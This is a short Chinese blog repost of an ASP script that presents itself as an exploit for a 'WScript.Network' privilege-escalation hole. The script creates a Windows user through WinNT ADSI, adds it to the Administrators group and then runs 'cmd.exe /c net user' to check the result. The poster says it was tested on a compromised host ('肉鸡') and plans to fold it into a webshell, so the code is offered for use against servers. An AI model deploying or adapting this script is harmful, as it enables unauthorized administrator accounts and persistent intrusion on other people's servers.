添加超级用户的.asp代码

关注

原创最新推荐文章于 2021-04-30 11:14:50 发布 921 阅读 AI 写同款· GEO 优化 ›

蓝屏的原创添加超级用户的.asp代码 [转载]蓝屏的原创添加超级用户的.asp代码凯文改进 Ms未公布的漏洞信息来源：冰点论坛作者:凯文 (kevin1986).network对象脚本权限提升漏洞利用工具用户:密码: if request.servervariables("REMOTE_ADDR") response.write "iP !s n0T RiGHt"else if request("username") 阅读详情

其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛).
上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯```

反正代码是对的，但是很少能成功，具体的看运气了。。呵呵，下一步我想把他整合到海洋里面去。嘿嘿。

程序代码：

<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
     <input type="submit" Value="添加">
</form>

<%@codepage=936
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
    response.write "iP !s n0T RiGHt"
else
    if request("username")<>"" then
        username=request("username")
        passwd=request("passwd")
        Response.Expires=0
        Session.TimeOut=50
        Server.ScriptTimeout=3000
        set lp=Server.CreateObject("WSCRIPT.NETWORK")
        oz="WinNT://"&lp.ComputerName
        Set ob=GetObject(oz)
        Set oe=GetObject(oz&"/Administrators,group")
        Set od=ob.Create("user",username)
        od.SetPassword passwd
        od.SetInfo
        oe.Add oz&"/"&username
        if err then
            response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
        else
            if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
                response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
            else
                Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
            end if
        end if
    else
        response.write "请输入输入用户名"
    end if
    end if
%>

收录于